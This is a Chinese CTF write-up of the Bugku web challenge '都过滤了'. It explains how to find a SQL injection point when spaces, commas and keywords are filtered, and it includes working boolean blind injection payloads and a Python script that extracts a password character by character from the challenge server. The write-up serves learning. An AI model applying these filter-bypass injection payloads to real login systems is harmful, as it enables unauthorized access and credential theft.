bugku 都过滤了

我对这道题的思路完全断掉,本篇是看了其他博主的解答,自己再捋一下思路。原文地址:bugku web 都过滤了_bugku 都过滤了-优快云博客

思路

1. 弱密码尝试,发现admin是用户名,密码未知
2. 尝试万能密码,a'or 1=1#,提示非法字符


进行字符单独测试,发现 # , 空格 * · --  or and union 被过滤,包括url编码也不行。

() ' " = - +没被过滤

sql注入的思路是注入点、注入类型、构造payload、服务器响应

第一步:寻找注入点

抓包观察http头没有发现异常,观察源代码没发现异常。

然后再看服务器响应,提交注入一共产生3种响应:非法字符、用户名错、密码错。无其他报错信息。

用户名错:单独报错,说明不是select * from user where username=用户名 and password=密码一句查询语句完成的代码,必然有单独验证用户名的代码,

select  * from user where username=用户名

那么可以尝试用户名作为注入点,但无论单双引号,结果都是用户名错误,没有其他报错信息。用户名错误说明要么单双引号被转义后,与admin形成新字符串导致报错;要么是后端统一将报错信息设置为用户名错误。

下一步思路是验证引号是否被转义。如过被转义,则引号闭合后依然会报用户名错误;如过没被转义,则引号闭合后会报密码错误。

这里该博主做了如下2个验证:

admin'-1-'

admin'-0-'

此处原理:mysql字符串与数字进行计算时,会先尝试将字符串转为数字,再完成计算。admin的从左往右全是字符,最终转换为0,此时查询语句相当于

select * from user where username=0-0-''

最后的''空也被转为0,最终变成0-0-0=0,查询语句最终变成

select * from user where uname=0

在mysql中,where字句需要一个布尔值(任何非零数值都被解释为true),uname=0,uname字符串在与0计算时,也是先尝试转换为数字,所以先转换成0=0,由此变成

select * from user where 0=0
select * from user where true

where子句恒为真(查询结果集为全部数据,不会报错),此时用户名的查询响应结果是密码错误,说明单引号未被转义,由此确定单引号闭合uname存在注入点。回看admin'0-1-'也可以验证,where子句恒为假,查询结果为空集,此时会引起报错(用户名错误)

第二步:确定注入类型

根据本题特点,页面无报错回显(排除报错注入),无直接回显(排除联合查询注入、排除堆叠查询),非二次非带外,因此

可以使用布尔盲注或时间盲注。

时间盲注

参考的博主用了布尔盲注,既然是学习,那就我来看一下时间盲注

admin'-1-'

把sleep和if方法插入到1这个位置,

IF(condition, sleep(), value_if_false)

问题是if函数必须用到, 但是,已经被过滤了;

再用case when..then..else..end代替if,但是空格被过滤了;

再尝试用(1=1)*123 + (1=0)*456代替IF(1=1, 123, 456),但是*被过滤了;

一点活路不给啊!放弃

布尔盲注

布尔盲注正常的思路是获取数据库

猜数据库长度

猜数据库每个字符

猜数据库有多少张表

猜第一张表名长度

猜第一张表名的每个字符

猜第n张表名
猜目标表的总字段数
猜字段名
猜字段值

总之很麻烦,但是这道题实际上是不能这么做的,因为猜表名时直接就被过滤了,根本进行不下去。

length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1

到这里其实正经的思路就断了.包括我参考的博主,思路也是一下跳到猜字段名了,这不合理。我去bugku买了题解,题解的意思就是在php里定义了passwd变量,用来存密码,不是从数据库里读的,只需要直接猜就好了,这思维太跳跃了,而且题目也没给这方面提示。

如过把passwd是php变量当做已知条件,则思路变成:

猜密码长度

挨个猜密码字符

import requests

session = requests.session()
targetUrl = 'http://117.72.52.127:11319/login.php'
printable_ascii_chars = [
    '$', '(', ')', '+', ',', '-', '.', '0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F',
    'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
    'V', 'W', 'X', 'Y', 'Z', '[', ']', '^', '_', '`', '{', '}', '~', 'a', 'b',
    'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
    'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
]

# # 密码长度
# for i in range(1, 99):
#     uname = "uname=admin'-(length(passwd)=" + str(i) + ")-'"
#     response = session.post(targetUrl, data={"uname": uname, "passwd": 1})
#     if ('username error' in response.text):
#         print("密码长度是", i)
#         break

#猜密码字符
flag = ''
for k in range(1, 33):
    for j in printable_ascii_chars:
        uname = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-" + str(
            k) + ")))from(-1)))=" + str(ord(j)) + ")-'"
        response2 = session.post(targetUrl, data={"uname": uname, "passwd": 1})
        if ('username error' in response2.text):
            flag += str(j)
            print("密码:", flag)
            break

猜出的密码是2a18488206a1da2c7e50cb1f8f88ccd4,再去MD5解密(但是解不出来)。

我还以为是我代码写错爆出错误的密码,但打开题目作者题解,用他的代码跑,依然是2a18488206a1da2c7e50cb1f8f88ccd4,跟他的答案都不一样。说明作者应该是改过题目,而且改错了。

8个月前其他做题者得到的是完全不同的MD5,按照他的MD5解密,就能得到正确的密码了

所以虽然题目错了,但是注入的思路还是非常值得学习的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值